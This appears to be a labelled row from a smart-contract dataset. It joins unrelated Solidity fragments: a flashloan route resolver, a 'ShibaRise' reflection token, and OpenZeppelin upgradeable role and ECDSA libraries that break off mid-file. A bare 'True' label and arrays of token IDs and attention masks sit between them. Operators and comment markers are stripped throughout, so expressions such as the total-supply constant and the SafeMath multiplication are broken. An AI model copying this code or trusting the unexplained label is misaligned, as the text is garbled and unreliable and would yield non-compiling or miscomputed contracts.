debtCanBorrow = ethColl; return debtCanBorrow; } } contract DydxFlashloanHelper is MakerResolver { / * @dev get Dydx Solo Address / function getSoloAddress() public pure returns (address addr) { addr = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; } } contract DydxFlashloanResolver is DydxFlashloanHelper { struct RouteData { uint dydx; uint maker; uint compound; uint aave; uint aaveV2; } function getTokenLimit(address token) public view returns (RouteData memory){ RouteData memory routeData; uint ethBalanceSolo = TokenInterface(getWethAddress()).balanceOf(getSoloAddress()); routeData.dydx = token == getEthAddress() ? ethBalanceSolo : TokenInterface(token).balanceOf(getSoloAddress()); routeData.dydx = wmul(routeData.dydx, 99 10 ** 16); routeData.maker = getMakerData(token, ethBalanceSolo); routeData.compound = getCompoundData(token, ethBalanceSolo); routeData.aave = getAaveData(token, ethBalanceSolo); routeData.aaveV2 = getAaveV2Data(token, ethBalanceSolo); return routeData; } function getTokensLimit(address[] memory tokens) public view returns (RouteData[] memory){ uint _len = tokens.length; RouteData[] memory routeData = new RouteData[](_len); for (uint i = 0; i < _len; i++) { routeData[i] = getTokenLimit(tokens[i]); } return routeData; } } contract InstaPoolResolver is DydxFlashloanResolver { string public constant name = "instapool-Resolver-v2.2"; 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/** Submitted for verification at Etherscan.io on 2021-06-18 / pragma solidity ^0.7.6; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /* * @dev Initializes the contract setting the deployer as the initial owner. / constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /* * @dev Returns the address of the current owner. / function owner() public view returns (address) { return _owner; } /* * @dev Throws if called by any account other than the owner. / modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /* * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. / function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /* * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. / function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract ShibaRise is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 10*6 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'ShibaRise'; string private _symbol = 'ShibaRise'; uint8 private _decimals = 9; constructor () { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(2); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply \|\| _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }	True	[ 101, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5757, 1011, 2324, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1021, 1012, 1020, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 5024, 3012, 1013, 3314, 1013, 25717, 2487, 2709, 5796, 2290, 1012, 2951, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 1013, 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1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 1041, 11514, 2015, 1013, 3314, 1013, 2322, 1001, 3277, 9006, 3672, 1011, 25246, 25746, 22610, 24594, 1008, 1008, 12495, 3215, 2019, 1063, 6226, 1065, 2724, 1012, 1008, 1013, 3853, 14300, 1006, 4769, 5247, 2121, 1010, 21318, 3372, 17788, 2575, 3815, 1007, 6327, 5651, 1006, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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// File: @openzeppelin/upgrades/contracts/Initializable.sol pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. / contract Initializable { /* * @dev Indicates that the contract has been initialized. / bool private initialized; /* * @dev Indicates that the contract is in the process of being initialized. / bool private initializing; /* * @dev Modifier to use in the initializer function of a contract. / modifier initializer() { require(initializing \|\| isConstructor() \|\| !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // File: @openzeppelin/upgrades/contracts/cryptography/ECDSA.sol pragma solidity ^0.5.2; /* * @title Elliptic curve signature operations * @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d * TODO Remove this library once solidity supports passing a signature to ecrecover. * See https://github.com/ethereum/solidity/issues/864 * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/79dd498b16b957399f84b9aa7e720f98f9eb83e3/contracts/cryptography/ECDSA.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla implementation from an openzeppelin version. / library OpenZeppelinUpgradesECDSA { /* * @dev Recover signer address from a message by using their signature * @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address. * @param signature bytes signature, the signature is generated using web3.eth.sign() / function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { return (address(0)); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { return address(0); } if (v != 27 && v != 28) { return address(0); } // If the signature is valid (and not malleable), return the signer address return ecrecover(hash, v, r, s); } /* * toEthSignedMessageHash * @dev prefix a bytes32 value with "\x19Ethereum Signed Message:" * and hash the result / function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol pragma solidity ^0.5.0; / * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. / contract Context is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } function _msgData() internal view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts-ethereum-package/contracts/access/Roles.sol pragma solidity ^0.5.0; /* * @title Roles * @dev Library for managing addresses assigned to a Role. / library Roles { struct Role { mapping (address => bool) bearer; } /* * @dev Give an account access to this role. / function add(Role storage role, address account) internal { require(!has(role, account), "Roles: account already has role"); role.bearer[account] = true; } /* * @dev Remove an account's access to this role. / function remove(Role storage role, address account) internal { require(has(role, account), "Roles: account does not have role"); role.bearer[account] = false; } /* * @dev Check if an account has this role. * @return bool / function has(Role storage role, address account) internal view returns (bool) { require(account != address(0), "Roles: account is the zero address"); return role.bearer[account]; } } // File: @openzeppelin/contracts-ethereum-package/contracts/access/roles/WhitelistAdminRole.sol pragma solidity ^0.5.0; /* * @title WhitelistAdminRole * @dev WhitelistAdmins are responsible for assigning and removing Whitelisted accounts. / contract WhitelistAdminRole is Initializable, Context { using Roles for Roles.Role; event WhitelistAdminAdded(address indexed account); event WhitelistAdminRemoved(address indexed account); Roles.Role private _whitelistAdmins; function initialize(address sender) public initializer { if (!isWhitelistAdmin(sender)) { _addWhitelistAdmin(sender); } } modifier onlyWhitelistAdmin() { require(isWhitelistAdmin(_msgSender()), "WhitelistAdminRole: caller does not have the WhitelistAdmin role"); _; } function isWhitelistAdmin(address account) public view returns (bool) { return _whitelistAdmins.has(account); } function addWhitelistAdmin(address account) public onlyWhitelistAdmin { _addWhitelistAdmin(account); } function renounceWhitelistAdmin() public { _removeWhitelistAdmin(_msgSender()); } function _addWhitelistAdmin(address account) internal { _whitelistAdmins.add(account); emit WhitelistAdminAdded(account); } function _removeWhitelistAdmin(address account) internal { _whitelistAdmins.remove(account); emit WhitelistAdminRemoved(account); } uint256[50] private ______gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/access/roles/WhitelistedRole.sol pragma solidity ^0.5.0; /* * @title WhitelistedRole * @dev Whitelisted accounts have been approved by a WhitelistAdmin to perform certain actions (e.g. participate in a * crowdsale). This role is special in that the only accounts that can add it are WhitelistAdmins (who can also remove * it), and not Whitelisteds themselves. / contract WhitelistedRole is Initializable, Context, WhitelistAdminRole { using Roles for Roles.Role; event WhitelistedAdded(address indexed account); event WhitelistedRemoved(address indexed account); Roles.Role private _whitelisteds; modifier onlyWhitelisted() { require(isWhitelisted(_msgSender()), "WhitelistedRole: caller does not have the Whitelisted role"); _; } function initialize(address sender) public initializer { WhitelistAdminRole.initialize(sender); } function isWhitelisted(address account) public view returns (bool) { return _whitelisteds.has(account); } function addWhitelisted(address account) public onlyWhitelistAdmin { _addWhitelisted(account); } function removeWhitelisted(address account) public onlyWhitelistAdmin { _removeWhitelisted(account); } function renounceWhitelisted() public { _removeWhitelisted(_msgSender()); } function _addWhitelisted(address account) internal { _whitelisteds.add(account); emit WhitelistedAdded(account); } function _removeWhitelisted(address account) internal { _whitelisteds.remove(account); emit WhitelistedRemoved(account); } uint256[50] private ______gap; } // File: contracts/access/roles/WhitelistedRoleMeta.sol pragma solidity ^0.5.0; /* * @title WhitelistedRoleMeta * @dev Add meta transaction capabilities to the WhitelistedRole contract. / contract WhitelistedRoleMeta is WhitelistedRole { function initialize(address sender) public initializer { WhitelistAdminRole.initialize(sender); } function addSignedWhitelisted(address account, bytes memory signature) public { address signer = getWhitelistedRoleActionSigner('addSignedWhitelisted', account, signature); require(signer != address(0), "Invalid signature"); require(isWhitelistAdmin(signer), "signer is not an admin"); _addWhitelisted(account); } function addSignedWhitelistAdmin(address account, bytes memory signature) public { address signer = getWhitelistedRoleActionSigner('addSignedWhitelistAdmin', account, signature); require(signer != address(0), "Invalid signature"); require(isWhitelistAdmin(signer), "signer is not an admin"); _addWhitelistAdmin(account); } function getWhitelistedRoleActionSigner(string memory action, address account, bytes memory _signature) private view returns (address) { bytes32 msgHash = OpenZeppelinUpgradesECDSA.toEthSignedMessageHash( keccak256( abi.encodePacked( action, account, address(this) ) ) ); return OpenZeppelinUpgradesECDSA.recover(msgHash, _signature); } } // File: contracts/utils/ReentrancyGuardEmber.sol pragma solidity ^0.5.0; /* * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * This is the exact same contract implemented by the openzeppelin team here: * https://github.com/OpenZeppelin/openzeppelin-contracts-ethereum-package/blob/master/contracts/utils/ReentrancyGuard.sol * The contract name clashes with the version used in the set protocol dependency * and had to be renamed to be used in this project. / contract ReentrancyGuardEmber is Initializable { // counter to 